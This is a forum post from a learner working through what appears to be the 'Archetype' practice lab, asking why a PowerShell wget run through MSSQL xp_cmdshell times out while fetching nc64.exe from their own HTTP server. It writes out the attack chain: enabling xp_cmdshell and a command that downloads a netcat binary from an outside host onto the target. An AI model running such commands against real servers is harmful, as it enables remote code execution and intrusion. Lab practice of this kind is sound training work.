Archetype issue - WebException, timeout when trying to copy nc64 to mssql server - but getting a hit on my http server

Hi all,

I’m working my way through the tutorials and have run into a problem that I just cannot resolve, including stopping and starting a new box. I am following the tutorial 100%. Here is what I’ve done so far:

  1. Log into mssql using impacket mssqlclient and found password → no problem
  2. Enable xp_commandshell and test with EXEC xp_cmdshell 'net user'; → no problem
  3. Start http server (tested also with different ports) in same location as nc64.exe → no problem
  4. Issue command to to change location to download, wget from my server, and copy nc64.exe → here comes the problem. Full command: xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget http://10.10.xxx.xxx:8000/nc64.exe -outfile nc64.exe"

As soon as I issue the command, I see a hit on my server: GET /nc64.exe HTTP/1.1" 200 -
But the sql terminal hangs for a while, and then fails with the following error:

wget : The operation has timed out.                                                

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+ ... \Downloads; wget http://10.10.14.215:8088/nc64.exe -outfile nc64-2.ex ...    
+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~        
    + CategoryInfo          : InvalidOperation: (System.Net.HttpWebRequest:HttpWebRequest) [Invoke-WebRequest], WebException                                                                          
    + FullyQualifiedErrorId : WebCmdletWebResponseException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand

When I do xp_cmdshell "powershell -c ls C:\Users\sql_svc\Downloads" I can see the file created, but with 0 length.

I’ve tried different version of the same commands from other tutorials, different http ports, I’ve killed and restarted the machine… Nothing I do is making a difference. I’m using Kali Linux.

Really hoping for a pointer in the right direction here.

Many thanks